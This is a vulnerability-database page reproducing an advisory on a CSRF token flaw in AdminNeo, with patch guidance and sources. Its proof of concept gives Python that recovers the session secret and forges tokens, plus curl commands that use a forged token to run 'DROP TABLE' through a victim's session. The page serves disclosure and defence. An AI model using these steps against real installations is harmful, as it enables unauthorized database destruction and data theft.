KEVWire

Security intelligence, with context.

Response snapshot Oct 31, 2026, 01:26 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-96629

AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery

AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token.

At a glance

Exploited
Not known
Severity
6.8 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: adminneo-org/adminneo: 5.5.1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-wm25-49w3-5qrg (opens a new tab)

What happened

Summary

AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens.

Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.

Originally reported by @az0mb13 in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-33j4-hc95-pggg)

Continue reading

Details

Token generation in admin/include/functions.inc.php lines 1181-1184:

function get_token() {
 $rand = rand(1, 1e6);
 return ($rand ^ $_SESSION["token"]) . ":$rand";
}

Token verification in lines 1189-1192:

function verify_token() {
 list($token, $rand) = explode(":", $_POST["token"]);
 return ($rand ^ $_SESSION["token"]) == $token;
}

Session token initialized in admin/include/auth.inc.php lines 327 and 385:

$_SESSION["token"] = rand(1, 1e6);

Three distinct weaknesses: 1. Instant recovery: The token format (rand XOR secret):rand transmits both operands. Recovery is trivial: secret = masked_value XOR rand. 2. Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests. 3. Loose comparison: verify_token() uses == (loose comparison) instead of ===, enabling PHP type juggling.

PoC

Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).

Step 1: Observe a single CSRF token

Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:

Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.

Step 2: Recover the session secret (instant, 1 XOR operation)

observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)
# Result: 817530

The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.

Step 3: Forge unlimited valid CSRF tokens

import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"
# Example output: 729376:481370

Each forged token is unique and valid. The attacker can generate as many as needed.

Step 4: Execute arbitrary SQL with the forged token

# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
 'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
 --data-urlencode "token=729376:481370" \
 --data-urlencode "query=DROP TABLE csrf_victim_table;" \
 -d "limit=0"

Step 5: Verify a random wrong token is rejected (control)

curl -b victim_cookies.txt \
 'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
 --data-urlencode "token=111:222" \
 --data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."

Weaponized CSRF attack page

In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:

 
 Click here for free database optimization tips

Impact

- Cross-Site Request Forgery against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE — all accepted by the server. - An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.

- With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records. - The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).

Affected package ranges reported by GitHub: adminneo-org/adminneo: < 5.5.1

Scores and how they were measured

CVSS base severity

6.8

Version 3.1As of

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-wm25-49w3-5qrg (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-wm25-49w3-5qrg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 30). AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery (CVE-2026-96629). https://kevwire.com/record/CVE-2026-96629

MLA

"AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery (CVE-2026-96629)." KEVWire, 30 Oct. 2026, kevwire.com/record/CVE-2026-96629.

Chicago

KEVWire. "AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery (CVE-2026-96629)." Last modified October 30, 2026. https://kevwire.com/record/CVE-2026-96629.

Evidence summary (plain text)

AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery (Oct 30, 2026).
AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.
CVSS 6.8 (version 3.1; evidence as of Oct 30, 2026; https://github.com/advisories/GHSA-wm25-49w3-5qrg).
Sources:
GitHub-reviewed advisory GHSA-wm25-49w3-5qrg: https://github.com/advisories/GHSA-wm25-49w3-5qrg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-96629.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 31, 2026, 00:50 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail